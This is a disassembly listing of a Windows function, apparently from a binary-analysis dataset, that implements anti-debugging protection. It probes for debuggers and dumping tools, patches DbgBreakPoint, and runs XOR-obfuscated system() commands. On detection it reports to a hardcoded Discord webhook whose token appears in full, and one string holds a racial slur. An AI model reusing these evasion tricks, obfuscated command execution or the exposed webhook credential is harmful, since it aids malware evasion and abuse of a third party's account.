Function at 0x140020d90
Capabilities:
Allocate or change rwx memory
Check for outputdebugstring error
Execute command
Execute shellcode via indirect call
Print debug messages
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x600
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0x590], rax
call fcn.1400209d0
xor esi, esi
mov qword [rbp + 8], rsi
mov dword [rbp + 0x10], esi
movabs r13, 0x561f58676b600131
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x8aa4eca68d306c16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x229b5c43290a1ade
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xe08a0e65055d5911
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rdi, 0x1f662a021e31757f
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs r14, 0xe3d08dcbff5f0a78
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs r15, 0x51fe3f2c5b5a74b1
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs r12, 0xe08a0e65055d5962
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x40], ymm1
movabs rax, 0x7302046e72550111
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xe3d08dcbff5f0a14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x20]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp + 8]
mov edx, 7
call rbx
cmp qword [rbp + 8], rsi
je 0x140020f4c
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14001dbb0
mov qword [rbp + 8], rsi
mov dword [rbp + 0x10], esi
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x8aa4eca68d306c16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x229b5c43290a1ade
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xe08a0e65055d5911
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x40], ymm1
movabs rax, 0x7302046e72550111
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xe3d08dcbff5f0a14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x20]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp + 8]
mov edx, 0x1e
call rbx
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x1400210a4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str..EXTREM]
movsd qword [rbp + 0xc0], xmm0
movzx eax, word [0x14007a008]
mov word [rbp + 0xc8], ax
movzx eax, byte [0x14007a00a]
mov byte [rbp + 0xca], al
xor eax, eax
mov qword [rbp + 0xcb], rax
mov byte [rbp + 0xd3], al
movsd xmm0, qword [str..ICEEXT]
movsd qword [rbp + 0xd4], xmm0
movzx eax, word [0x14007a018]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x14007a01a]
mov byte [rbp + 0xde], al
xor eax, eax
mov qword [rbp + 0xdf], rax
mov byte [rbp + 0xe7], al
movups xmm0, xmmword [str..NDBGMSG.VXD]
movups xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0xf8], eax
movsd xmm0, qword [str..RING0]
movsd qword [rbp + 0xfc], xmm0
movzx eax, word [0x14007a038]
mov word [rbp + 0x104], ax
xor eax, eax
mov qword [rbp + 0x106], rax
mov word [rbp + 0x10e], ax
movsd xmm0, qword [str..SIWVID]
movsd qword [rbp + 0x110], xmm0
movzx eax, word [0x14007a048]
mov word [rbp + 0x118], ax
movzx eax, byte [0x14007a04a]
mov byte [rbp + 0x11a], al
xor eax, eax
mov qword [rbp + 0x11b], rax
mov byte [rbp + 0x123], al
movsd xmm0, qword [str..SYSER]
movsd qword [rbp + 0x124], xmm0
movzx eax, word [0x14007a058]
mov word [rbp + 0x12c], ax
xor eax, eax
mov qword [rbp + 0x12e], rax
mov word [rbp + 0x136], ax
movabs rax, 0x5752545c2e5c5c
mov qword [rbp + 0x138], rax
xor eax, eax
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x148], eax
movsd xmm0, qword [str..SYSERBOOT]
movsd qword [rbp + 0x14c], xmm0
mov eax, dword [0x14007a068]
mov dword [rbp + 0x154], eax
movzx eax, word [0x14007a06c]
mov word [rbp + 0x158], ax
xor eax, eax
mov qword [rbp + 0x15a], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x162], xmm0
mov word [rbp + 0x172], ax
mov edi, esi
cmp byte [rbp + 0xc0], al
je 0x14002128b
lea rbx, [rbp + 0xc0]
nop word [rax + rax]
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rax, [rbp + 0xc0]
lea rcx, [rax + rcx*4]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x1400212e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rbx, 0x14
cmp byte [rbx], sil
jne 0x140021240
mov dword [rbp + 0x10], esi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r9d, 4
lea r8, [rbp + 0x10]
mov edx, 0x1f
call rbx
cmp dword [rbp + 0x10], esi
jne 0x1400212f7
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, str..kdstinker
mov qword [rbp + 0x20], rax
lea rax, str..NiGgEr
mov qword [rbp + 0x28], rax
lea rax, str..KsDumper
mov qword [rbp + 0x30], rax
lea rax, str..kprocesshacker
mov qword [rbp + 0x38], rax
mov rdi, rsi
movabs r14, 0x730a43697542140b
movabs r15, 0xc3b6a2eb9a276f56
movabs r12, 0x399d495f7b371d9e
movabs r13, 0xe0ef76002b292a0d
nop
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
mov rcx, qword [rbp + rdi*8 + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov byte [rbp + 0xc0], sil
xor edx, edx
mov r8d, 0xff
lea rcx, [rbp + 0xc1]
call sub.VCRUNTIME140.dll_memset
cmp rbx, 0xffffffffffffffff
je 0x140021466
lea rcx, str.start_cmd__c_START_CMD__C__COLOR_C__TITLE_Protection__ECHO_KsDumper_Detected.__TIMEOUT_10__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
inc rdi
cmp rdi, 4
jl 0x140021350
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.leksa
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14002190d
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14002190d
call fcn.140017f50
lea rbx, str.WinDbgFrameClass
lea rdi, [0x140089378]
nop word [rax + rax]
xor edx, edx
mov rcx, qword [rbx]
call qword [sym.imp.USER32.dll_FindWindowW]
movabs rsi, 0x1f662a021e31757f
test rax, rax
je 0x140021578
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rbx, 8
cmp rbx, rdi
jne 0x1400214c0
mov r8, qword [str.CEHYPERSCANSETTINGS]
xor edx, edx
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
movabs rbx, 0xe3d08dcbff5f0a78
movabs rdi, 0x51fe3f2c5b5a74b1
test rax, rax
je 0x14002163c
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400216d0
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140021719
lea rdx, str.DbgBreakPoint
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140021719
lea r9, [rbp + 0x10]
mov edx, 1
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140021719
mov byte [rbx], 0xc3
lea rdx, str.OllyDbg____CPU_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
lea rdx, str.Immunity_Debugger____CPU_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x140021904
test rbx, rbx
jne 0x140021904
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rbp + 0xf0], 0x100010
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400217c8
cmp qword [rbp + 0x108], rbx
jne 0x1400217ba
cmp qword [rbp + 0x110], rbx
jne 0x1400217ba
cmp qword [rbp + 0x118], rbx
jne 0x1400217ba
cmp qword [rbp + 0x120], rbx
jne 0x1400217ba
cmp qword [rbp + 0x128], rbx
jne 0x1400217ba
cmp qword [rbp + 0x130], rbx
je 0x1400217c8
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400209f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov r8d, 0x23
lea rdx, str.C:WindowsSysWOW64x64debugger.exe
lea rcx, [rbp + 0xa0]
call fcn.14000be70
nop
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
lea rdx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x140021890
lea rdx, str.discordapp.com
lea rcx, [rbp + 0x80]
call fcn.140015e30
nop
lea rdx, str._api_webhooks_1246555375222788189_CiQyuAu6_35WiuC3AO3TXAC6fpK6XRUhNfI2t9zEcXin3wlbPVonk9CWzY20usGa5jhD
lea rcx, [rbp + 0x20]
call fcn.140015e30
nop
lea rdx, str.Someone_tried_cracking_your_program
lea rcx, [rbp + 0x40]
call fcn.140009380
nop
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400172b0
lea rcx, str._n__HMPROTECTION_______You_are_banned_____
call fcn.1400157c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140016e50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400218d4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400218cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004cc34
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.14004c980
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140016e50
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3